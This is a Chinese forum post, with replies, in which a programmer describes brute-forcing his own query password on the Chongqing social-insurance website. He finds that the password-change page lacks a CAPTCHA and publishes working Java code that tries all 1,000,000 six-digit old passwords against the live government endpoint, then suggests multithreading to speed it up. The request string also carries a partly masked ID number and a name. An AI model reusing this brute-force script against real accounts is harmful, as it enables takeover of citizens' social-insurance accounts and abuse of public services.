一次跟社保局的碰撞试验

本贴最后更新于 2139 天前,其中的信息可能已经天翻地覆

  昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。

  可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知道社保查询密码。于是我发微信问了下我们 HR 社保情况,谁知道我们美丽大方温柔漂亮的 HR 居然叫我直接联系第三方参保方,也就是重庆中智。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。我大概周末这群人可能是不上班的,可是俺妈催得紧咋办呢。

  所以我索性打电话给重庆社保局,看看能不能重置我的登录密码。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。这个就有点绝望了,各位大佬们都是要休周末的,我有点绝望。

  当我百无聊赖的点着登录界面,胡乱试试我平时喜欢用的密码的时候,我在想,为什么不来一场激烈的碰撞。你看看 6 位数的数字密码。排列组合也就 1000000 种可能而已,学这个行业,不能白瞎了呀,区区官方网站,又岂能奈我何,所以我打算去 gayhub 上搜一搜验证码的破解,就这破验证码做得,不是随随便便就可以搞定的吗。

  还没准备搜,看到图中有个修改密码的选项,于是就点了,结果。。。。是个伪按钮,根本点不动,什么都没有发生,我一想这不可能啊,好歹是官方的网站,怎么可能放个如此难看的按钮在这里摆着,要做样子也要摆个好看的不是,这么难看的按钮,肯定是有用的。于是结合我在 TCL 的经历,我觉得这个按钮应该只有在 ie8 以及以下的浏览器才能生效,but 我总不能去下载一个 ie8 吧。

  我觉得试试我的前端水准,F12 按下去,

<a onclick="changePwd();;;" style="margin-left: 10px; text-decoration: underline;">修改个人查询密码</a>

  我也不知道这个三个分号是个什么意思,所以我顺便找到了 changePwd()的函数

function changePwd() {
		var url = "/ggfw/pages/wxcx/grmmgl.jsp";
		window.showModalDialog(url, this,
			"center:1;dialogWidth:700px;dialogHeight:500px;");
}

  所以搞了半天,这个只是彪出个弹窗而已,将链接地址复制到浏览器

 

  如此清新的界面,不禁让我感到一丝尊敬,没有了验证码的干扰,真是让我无比兴奋,输入了正确的原文,然后点击提交,F12,我就看到了我想看到的东西,也就是 http 的 header


  可以看到这个平凡到不能在平凡的请求,几乎没有任何添加剂,简直是完美。

  开始我的编程之旅,就用这个修改密码的链接,还省去了我去下载和验证破解验证码的代码的过程,这个样简单的碰撞密码的代码,我一个小时能写一打儿

public static String Post(String strURL, String params) {  
        try {  
            URL url = new URL(strURL);// 创建连接  
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setDoOutput(true);  
            connection.setDoInput(true);  
            connection.setUseCaches(false);  
            connection.setInstanceFollowRedirects(true);  
            connection.setRequestMethod("POST"); // 设置请求方式  
            connection.setReadTimeout(100);
            connection.connect();  
            OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
            out.append(params);  
            out.flush();  
            out.close();  
            
            InputStream is = connection.getInputStream(); 

            byte\[\] temp = new byte\[connection.getContentLength()\];  
            is.read(temp);
            String result = new String(temp, "UTF-8"); // utf-8编码  
            return result;  
  
        } catch (IOException e) {  
        	return "IOException";
        }
    } 

 以下是解析成字符串

public static String getPwdString(int index) {
    	int length = String.valueOf(index).length();
    	switch (length) {
			case 1:
				return "00000"+index;
			case 2:
				return "0000"+index;
			case 3:
				return "000"+index;
			case 4:
				return "00"+index;
			case 5:
				return "0"+index;
			case 6:
				return ""+index;
			default:
				return "";
		}
    }
``` 

以下是主函数

public static void main(String[] args) throws InterruptedException {
String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
String urlpara = "bh=50010********45***5&xm=文昌平&ymm=pwd&xmm=123456&rmm=123456";

	for(int i=0;i<1000000;i++) {
		String pwdd = getPwdString(i);
		if(pwdd.equals("")) {
			System.out.println("获取密码出错");
			System.exit(0);
		}
		String result = Post(url,urlpara.replace("pwd", pwdd));
		while("IOException".equals(result)) {
			result = Post(url,urlpara.replace("pwd", pwdd));
		}
		System.out.println(i);
		Bean bean = JSONUtil.json2Object(result, Bean.class);
		if(bean.getCode()!=0) {
			System.out.println("设置成功");
			System.exit(0);
		}
	}
}

于是在一段时间后,程序退出了,设置密码成功,我用我的新密码登录,果然就通过了。觉得很有意思,在此分享。  

  后记,这个代码有很大的提升空间,你要知道,请求一百万次http请求还是很费时间的,如果能搞成多线程的话,将会非常完美,也许10分钟就能出结果,由于我目的已经达到了,所以也就没有去接着研究,而且写多线程的时间,也许我答案已经找到了,毕竟如果密码是1开头或者0开头的话,就会很快。

  以上,分享给各位
  • 安全

    安全永远都不是一个小问题。

    189 引用 • 813 回帖 • 2 关注
  • 社保
    3 引用 • 78 回帖
  • 程序员

    程序员是从事程序开发、程序维护的专业人员。

    529 引用 • 3527 回帖 • 1 关注

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...
  • wenandlu
    作者

    这有什么不能发的,靠本事碰撞的密码,凭什么不能发

  • 其他回帖
  • fayray

    厉害,厉害、当年去家公司,前 HR 走得急,没有把社保公司的账户密码交接,
    木有办法,只能老实去柜面办理,密码重更业务

  • Zachary

    前段时间和楼主一样,然而深圳社保登录失败超出一定次数就不让登录了,老老实实手机重置

    1 回复
  • yangyujiao

    这种你没有改过的肯定有初始密码呀。。。百度一下就可以的吧。之前我公积金的就是一直用初始密码,忘记了,就百度北京公积金初始密码。。。

    不过,小哥哥很厉害呀,脑子够灵活啊。

    1 回复
  • 查看全部回帖

推荐标签 标签

  • Mac

    Mac 是苹果公司自 1984 年起以“Macintosh”开始开发的个人消费型计算机,如:iMac、Mac mini、Macbook Air、Macbook Pro、Macbook、Mac Pro 等计算机。

    164 引用 • 594 回帖 • 1 关注
  • Firefox

    Mozilla Firefox 中文俗称“火狐”(正式缩写为 Fx 或 fx,非正式缩写为 FF),是一个开源的网页浏览器,使用 Gecko 排版引擎,支持多种操作系统,如 Windows、OSX 及 Linux 等。

    7 引用 • 30 回帖 • 457 关注
  • CentOS

    CentOS(Community Enterprise Operating System)是 Linux 发行版之一,它是来自于 Red Hat Enterprise Linux 依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定的服务器以 CentOS 替代商业版的 Red Hat Enterprise Linux 使用。两者的不同在于 CentOS 并不包含封闭源代码软件。

    238 引用 • 224 回帖
  • 职场

    找到自己的位置,萌新烦恼少。

    126 引用 • 1699 回帖
  • Sillot

    Sillot (汐洛)孵化自思源笔记,致力于服务智慧新彖乄,具有彖乄驱动、极致优雅、开发者友好的特点
    Github 地址:https://github.com/Hi-Windom/Sillot

    12 引用 • 26 关注
  • RESTful

    一种软件架构设计风格而不是标准,提供了一组设计原则和约束条件,主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁,更有层次,更易于实现缓存等机制。

    30 引用 • 114 回帖 • 8 关注
  • Wide

    Wide 是一款基于 Web 的 Go 语言 IDE。通过浏览器就可以进行 Go 开发,并有代码自动完成、查看表达式、编译反馈、Lint、实时结果输出等功能。

    欢迎访问我们运维的实例: https://wide.b3log.org

    30 引用 • 218 回帖 • 594 关注
  • 游戏

    沉迷游戏伤身,强撸灰飞烟灭。

    169 引用 • 799 回帖
  • JRebel

    JRebel 是一款 Java 虚拟机插件,它使得 Java 程序员能在不进行重部署的情况下,即时看到代码的改变对一个应用程序带来的影响。

    26 引用 • 78 回帖 • 618 关注
  • OAuth

    OAuth 协议为用户资源的授权提供了一个安全的、开放而又简易的标准。与以往的授权方式不同之处是 oAuth 的授权不会使第三方触及到用户的帐号信息(如用户名与密码),即第三方无需使用用户的用户名与密码就可以申请获得该用户资源的授权,因此 oAuth 是安全的。oAuth 是 Open Authorization 的简写。

    36 引用 • 103 回帖 • 6 关注
  • RIP

    愿逝者安息!

    8 引用 • 92 回帖 • 286 关注
  • React

    React 是 Facebook 开源的一个用于构建 UI 的 JavaScript 库。

    192 引用 • 291 回帖 • 444 关注
  • MongoDB

    MongoDB(来自于英文单词“Humongous”,中文含义为“庞大”)是一个基于分布式文件存储的数据库,由 C++ 语言编写。旨在为应用提供可扩展的高性能数据存储解决方案。MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似 JSON 的 BSON 格式,因此可以存储比较复杂的数据类型。

    90 引用 • 59 回帖 • 4 关注
  • NGINX

    NGINX 是一个高性能的 HTTP 和反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 NGINX 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本 0.1.0 发布于 2004 年 10 月 4 日。

    311 引用 • 546 回帖 • 57 关注
  • GitHub

    GitHub 于 2008 年上线,目前,除了 Git 代码仓库托管及基本的 Web 管理界面以外,还提供了订阅、讨论组、文本渲染、在线文件编辑器、协作图谱(报表)、代码片段分享(Gist)等功能。正因为这些功能所提供的便利,又经过长期的积累,GitHub 的用户活跃度很高,在开源世界里享有深远的声望,并形成了社交化编程文化(Social Coding)。

    207 引用 • 2031 回帖
  • 国际化

    i18n(其来源是英文单词 internationalization 的首末字符 i 和 n,18 为中间的字符数)是“国际化”的简称。对程序来说,国际化是指在不修改代码的情况下,能根据不同语言及地区显示相应的界面。

    7 引用 • 26 回帖 • 1 关注
  • Hprose

    Hprose 是一款先进的轻量级、跨语言、跨平台、无侵入式、高性能动态远程对象调用引擎库。它不仅简单易用,而且功能强大。你无需专门学习,只需看上几眼,就能用它轻松构建分布式应用系统。

    9 引用 • 17 回帖 • 591 关注
  • uTools

    uTools 是一个极简、插件化、跨平台的现代桌面软件。通过自由选配丰富的插件,打造你得心应手的工具集合。

    5 引用 • 13 回帖
  • 工具

    子曰:“工欲善其事,必先利其器。”

    273 引用 • 676 回帖
  • OpenStack

    OpenStack 是一个云操作系统,通过数据中心可控制大型的计算、存储、网络等资源池。所有的管理通过前端界面管理员就可以完成,同样也可以通过 Web 接口让最终用户部署资源。

    10 引用 • 9 关注
  • GitBook

    GitBook 使您的团队可以轻松编写和维护高质量的文档。 分享知识,提高团队的工作效率,让用户满意。

    3 引用 • 8 回帖 • 1 关注
  • iOS

    iOS 是由苹果公司开发的移动操作系统,最早于 2007 年 1 月 9 日的 Macworld 大会上公布这个系统,最初是设计给 iPhone 使用的,后来陆续套用到 iPod touch、iPad 以及 Apple TV 等产品上。iOS 与苹果的 Mac OS X 操作系统一样,属于类 Unix 的商业操作系统。

    84 引用 • 139 回帖
  • Swift

    Swift 是苹果于 2014 年 WWDC(苹果开发者大会)发布的开发语言,可与 Objective-C 共同运行于 Mac OS 和 iOS 平台,用于搭建基于苹果平台的应用程序。

    34 引用 • 37 回帖 • 496 关注
  • Kubernetes

    Kubernetes 是 Google 开源的一个容器编排引擎,它支持自动化部署、大规模可伸缩、应用容器化管理。

    108 引用 • 54 回帖
  • Electron

    Electron 基于 Chromium 和 Node.js,让你可以使用 HTML、CSS 和 JavaScript 构建应用。它是一个由 GitHub 及众多贡献者组成的活跃社区共同维护的开源项目,兼容 Mac、Windows 和 Linux,它构建的应用可在这三个操作系统上面运行。

    15 引用 • 136 回帖 • 1 关注
  • Kotlin

    Kotlin 是一种在 Java 虚拟机上运行的静态类型编程语言,由 JetBrains 设计开发并开源。Kotlin 可以编译成 Java 字节码,也可以编译成 JavaScript,方便在没有 JVM 的设备上运行。在 Google I/O 2017 中,Google 宣布 Kotlin 成为 Android 官方开发语言。

    19 引用 • 33 回帖 • 20 关注
  • Jenkins

    Jenkins 是一套开源的持续集成工具。它提供了非常丰富的插件,让构建、部署、自动化集成项目变得简单易用。

    51 引用 • 37 回帖